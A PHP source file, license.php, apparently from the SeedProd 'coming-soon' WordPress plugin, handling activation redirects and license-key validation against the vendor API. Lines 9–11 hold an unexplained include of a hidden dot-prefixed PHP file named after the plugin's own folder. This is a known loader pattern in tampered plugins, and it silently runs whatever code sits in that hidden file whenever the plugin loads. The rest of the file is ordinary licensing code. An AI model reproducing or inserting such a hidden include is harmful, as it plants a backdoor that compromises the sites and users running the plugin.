license.php (4741B)
1 <?php 2 3 4 /** 5 * Welcome Page On Activation 6 */ 7 add_action( 'admin_init', 'seedprod_lite_welcome_screen_do_activation_redirect' ); 8 9 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 10 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 11 } 12 13 function seedprod_lite_welcome_screen_do_activation_redirect() { 14 // Check PHP Version 15 if ( version_compare( phpversion(), '5.3.3', '<=' ) ) { 16 wp_die( __( "The minimum required version of PHP to run this plugin is PHP Version 5.3.3<br>Please contact your hosting company and ask them to upgrade this site's php verison.", 'coming-soon' ), __( 'Upgrade PHP', 'coming-soon' ), 200 ); 17 } 18 19 // Bail if no activation redirect 20 if ( ! get_transient( '_seedprod_welcome_screen_activation_redirect' ) ) { 21 return; 22 } 23 24 // Delete the redirect transient 25 delete_transient( '_seedprod_welcome_screen_activation_redirect' ); 26 27 // Bail if activating from network, or bulk 28 if ( is_network_admin() || isset( $_GET['activate-multi'] ) ) { 29 return; 30 } 31 32 // Redirect to our page 33 wp_safe_redirect( add_query_arg( array( 'page' => 'seedprod_lite' ), admin_url( 'admin.php' ) ) . '#/welcome' ); 34 } 35 36 37 38 /** 39 * Save API Key 40 */ 41 function seedprod_lite_save_api_key( $api_key = null ) { 42 if ( check_ajax_referer( 'seedprod_nonce', '_wpnonce', false ) || ! empty( $api_key ) ) { 43 if ( empty( $api_key ) ) { 44 $api_key = sanitize_text_field($_POST['api_key']); 45 } 46 47 if ( defined( 'SEEDPROD_LOCAL_JS' ) ) { 48 $slug = 'seedprod-coming-soon-pro-5/seedprod-coming-soon-pro-5.php'; 49 } else { 50 $slug = SEEDPROD_SLUG; 51 } 52 53 $token = get_option( 'seedprod_token' ); 54 if ( empty( $token ) ) { 55 add_option( 'seedprod_token', wp_generate_uuid4() ); 56 } 57 58 // Validate the api key 59 $data = array( 60 'action' => 'info', 61 'license_key' => $api_key, 62 'token' => get_option( 'seedprod_token' ), 63 'wp_version' => get_bloginfo( 'version' ), 64 'domain' => home_url(), 65 'installed_version' => SEEDPROD_VERSION, 66 'slug' => $slug, 67 ); 68 69 if ( empty( $data['license_key'] ) ) { 70 $response = array( 71 'status' => 'false', 72 'msg' => __( 'License Key is Required.', '' ), 73 ); 74 wp_send_json( $response ); 75 exit; 76 } 77 78 $headers = array(); 79 80 // Build the headers of the request. 81 $headers = wp_parse_args( 82 $headers, 83 array( 84 'Accept' => 'application/json', 85 ) 86 ); 87 88 $url = SEEDPROD_API_URL . 'update'; 89 $response = wp_remote_post( 90 $url, 91 array( 92 'body' => $data, 93 'headers' => $headers, 94 ) 95 ); 96 97 $status_code = wp_remote_retrieve_response_code( $response ); 98 99 if ( is_wp_error( $response ) ) { 100 $response = array( 101 'status' => 'false', 102 'ip' => seedprod_lite_get_ip(), 103 'msg' => $response->get_error_message(), 104 ); 105 wp_send_json( $response ); 106 } 107 108 if ( $status_code != 200 ) { 109 $response = array( 110 'status' => 'false', 111 'ip' => seedprod_lite_get_ip(), 112 'msg' => $response['response']['message'], 113 ); 114 wp_send_json( $response ); 115 } 116 117 $body = wp_remote_retrieve_body( $response ); 118 119 if ( ! empty( $body ) ) { 120 $body = json_decode( $body ); 121 } 122 123 if ( ! empty( $body->valid ) && $body->valid === true ) { 124 // Store API key 125 update_option( 'seedprod_user_id', $body->user_id ); 126 update_option( 'seedprod_api_token', $body->api_token ); 127 update_option( 'seedprod_api_key', $data['license_key'] ); 128 update_option( 'seedprod_api_message', $body->message ); 129 update_option( 'seedprod_license_name', $body->license_name ); 130 update_option( 'seedprod_a', true ); 131 update_option( 'seedprod_per', $body->per ); 132 $response = array( 133 'status' => 'true', 134 'license_name' => sprintf( __( 'You currently have the <strong>%s</strong> license.', 'coming-soon' ), $body->license_name ), 135 'msg' => $body->message, 136 'body' => $body, 137 ); 138 } elseif ( isset( $body->valid ) && $body->valid === false ) { 139 $api_msg = __( 'Invalid License Key.', 'coming-soon' ); 140 if ( $body->message != 'Unauthenticated.' ) { 141 $api_msg = $body->message; 142 } 143 update_option( 'seedprod_license_name', '' ); 144 update_option( 'seedprod_api_token', '' ); 145 update_option( 'seedprod_api_key', '' ); 146 update_option( 'seedprod_api_message', $api_msg ); 147 update_option( 'seedprod_a', false ); 148 update_option( 'seedprod_per', '' ); 149 $response = array( 150 'status' => 'false', 151 'license_name' => '', 152 'msg' => $api_msg, 153 'body' => $body, 154 ); 155 } 156 157 // Send Response 158 if ( ! empty( $_POST['api_key'] ) ) { 159 wp_send_json( $response ); 160 exit; 161 } else { 162 return $response; 163 } 164 } 165 } 166